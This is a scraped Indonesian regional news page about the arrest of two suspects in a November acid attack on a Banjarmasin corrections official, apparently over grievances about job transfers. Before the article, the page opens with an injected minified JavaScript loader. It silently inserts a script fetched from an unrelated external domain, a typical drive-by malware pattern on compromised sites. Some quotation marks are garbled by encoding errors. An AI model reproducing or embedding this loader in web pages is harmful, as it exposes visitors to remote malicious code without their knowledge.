(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Satu bulan setelah peristiwa penyiraman air keras terhadap Kepala Divisi Pemasyarakatan (Kadivpas) Kemenkum HAM Kalsel Asep Syarifudin, Polda Kalsel berhasil meringkus dua tersangka pelaku. Sementara dua orang lain yang diduga terlibat dalam peristiwa ini masih dalam pengejaran. Motif dari kasus ini diduga adalah persoalan internal di wilayah kerja korban, karena ketidakpuasan atas terjadinya pergeseran atau mutasi jabatan!
Kabar telah ditangkapnya dua tersangka pelaku tersebut tidak diungkap oleh polisi, namun oleh anggota Komisi III DPR RI Bambang Heri Purnama (BHP). “Dua orang sudah ditangkap dan dua lagi masih buron. Kasus ini masih dalam proses penyelidikan kepolisian,” katanya usai kunjungan kerja Masa Reses Persidangan II Tahun Sidang 2018 -2019  bersama jajaran anggota Komisi III di Mapolda Kalsel, Rabu (19/12).
Menurut BHP, ada pihak yang sengaja ingin melukai pejabat Kadiv PAS Kanwil Hukum dan HAM Kalsel itu. “Untuk motifnya memang saat ini masih dikembangkangkan polisi, termasuk pelaku dari mana dan latar belakangnya,†ucap dia.
Anggota DPR asal Kalsel ini tidak menyebut nama dan kapan pelaku ditangkap polisi. Tapi ia sudah mengetahui sosok pelakunya, namun dia enggan mengekspose lebih dulu ke publik. “Untuk nama nanti dan dalang dari kasus penyiraman ini sudah diketahui. Namun jangan kita ungkap dulu,†katanya.
Termasuk apakah pelaku seorang warga sipil atau oknum ASN, BHP tidak bersedia mengungkap. “Ya nantilah kita tunggu eksposenya dari polisi. Kalau modus sendiri, pelaku ada yang menyuruh,” jelasnya.
Namun demikian, informasi yang beredar menyebutkan pelaku sakit hati atas pergerseran jabatan yang sempat diusulkan oleh Kadivpas Asep Syarifudin. Lalu, pelaku meminta bantuan orang terdekatnya untuk melakukan aksi penyiraman tersebut.
Kasus penyiraman air keras terhadap Kadivpas Kemenkumham Kalsel Asep Syarifudin, terjadi pada Selasa (20/11) pukul 19.30 Wita di pelataran Cafe Capung, Jl S Parman, Banjarmasin. Akibat penyiraman air keras tersebut, Asep harus menjalani perawatan intensif di Rumah Sakit Suaka Insan, Banjarmasin karena mendapat luka dibagian wajah dan tubuhnya. Usai melakukan aksinya pelaku langsung melarikan diri.
Terkendalanya informasi yang minim membuat pihak kepolisian harus berkerja ekstra. Kabid Humas Polda Kalsel AKBP Mochamad Rifa’i SIK mengatakan pihaknya melakukan penyelidikan secara intensif dengan pengembangan dan mengumpulkan fakta dan bukti.
Menurut Kasubag Humas Kanwil Kemenkumham Kalsel Sugito, Asep tidak mengenal pelaku yang menyiramnya dengan air keras. Peristiwa kejadian sekitar 19.30 Wita, Asep usai makan malam di cafe tersebut menuju mobilnya yang di parkir di halaman Cafe Capung.
Pada saat itu, tiba-tiba dihampiri orang yang tidak dikenal. Korban mengira, orang tersebut merupakan juru parkir. Namun rupanya orang tidak dikenal tersebut menyiramkan air keras ke korban. Pelaku langsung melarikan diri setelah melakukan aksinya.
Asep mengalami luka bakar akibat cairan keras itu di sebagian muka di bawah mata dan dada. Korban pun saat ini masih menjalani perawatan di RS Suaka Insan. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.